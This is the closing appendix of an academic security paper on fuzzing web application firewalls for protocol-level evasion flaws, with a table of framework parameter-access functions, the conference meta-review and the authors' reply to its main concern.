webpy regex match from path web.input()[’taint key’] web.ctx.env.get(’TAINT KEY’) web.input()[’taint key’]
rocket #[get(”/ <taint key>”)]fn

handler(taint key: &str)
#[get(”/? <taint key>”)]fn
handler(taint key: &str) {}

Request
<’r>::headers().get(”taint key”)
.collect()

form: Form <MyForm>;
form.taint key

rails get ’/:taint key’ params[:taint key] request.headers[”taint key”] params[:taint key]
koa router.get(’/:taint key’, (ctx,

next) =>{ ctx.params
.taint key});

ctx.query.taint key ctx.request.header.taint key ctx.request.body.taint key

nestjs @Param() params.taint key @Query() query.taint key @Headers() header.taint key @Body() body.taint key
meteor FlowRouter.getParam(’taint key’) FlowRouter.getQueryParam

(’taint key’)
req.headers.taint key req.body.taint key

Fastify fastify.get(’/:taint key’,
function (request, reply) {const
{ taint } = request.params;})

request.query.taint key request.headers.taint key request.body.taint key

sails req.param.taint key req.query.taint key req.headers.taint key req.body.taint key
aspnetcore [HttpGet(”{taint key}”)] [FromQuery(Name =

”taint key”)] string taint key
Request.Headers.TryGetValue
(’taint key’, out var
headerValue)

[FromForm]myForm
myForm.taint key

TABLE 5. TESTED GETPARAMETER FUNCTION OF EACH WEB FRAMEWORK



Appendix B.
Meta-Review

The following meta-review was prepared by the program
committee for the 2024 IEEE Symposium on Security and
Privacy (S&P) as part of the review process as detailed in
the call for papers.

B.1. Summary

This paper proposes a new automated approach to detect
protocol-level evasion vulnerabilities in web application fire-
walls (WAFs). The approach, implemented as WAS Manis,
takes in a manually-constructed HTTP grammar from RFCs,
and generates and mutates different requests that might
cause web applications to not detect a malicious payload.
A key insight of the work is that black-box fuzzing of
commercial WAFs is not effective, so instead they use
open-source WAFs to perform initial payload generation
for testing against commercial WAFs. The authors use their
approach to test 14 popular WAFs and 20 web frameworks,
uncovering vulnerabilities across all tested targets. The au-
thors analyzed the discovered vulnerabilities and identified
three underlying reasons contributing to WAF evasions.

B.2. Scientific Contributions

• Addresses a Long-Known Issue
• Identifies an Impactful Vulnerability
• Provides a Valuable Step Forward in an Established

Field

B.3. Reasons for Acceptance

1) The work addresses a long-known issue by improving
and automating detection of protocol evasion attacks
against web application firewalls. By leveraging trans-
ferability of inputs between WAFs the proposed tech-
nique improves the efficiency of exploring the input
space.

2) The work identifies many instances of exploitable pro-
tocol evasion attacks by applying the proposed tech-
niques. While the existence of this class of attacks is
previously-known, the breadth of concrete examples
motivates the impact of these vulnerabilities and ac-
companying disclosures improve real-world software
security.

3) The work provides a valuable step forward by leverag-
ing input transferability between algorithm implemen-
tations, allowing open source software to be used for
improved fuzzing of closed-source implementations.

B.4. Noteworthy Concerns

WAFs are of limited tangible security value, as they
are known to be relatively easy to evade. There is little
evidence that WAFs slow sophisticated adversaries, limiting
the impact of the work.

Appendix C.
Response to the Meta-Review

We sincerely thank the reviewers for their valuable feed-
back. In response to the noteworthy concern:

We acknowledge that WAFs that lack well-maintained
rules could be trivial to bypass. However, a well-configured
and diligently maintained WAF can offer significant security
protection. The baseline experiments show that established
security tools like SQLmap and WAFNinja cannot bypass
commercially deployed WAFs today. Moreover, WAF ven-
dors like Alibaba Cloud offers a bug bounty reward of
approximately USD 800 for each identified WAF evasion
vulnerability, which emphasizes the industry’s recognition
of WAF evasion and the difficulty of bypassing a robustly
configured WAF.
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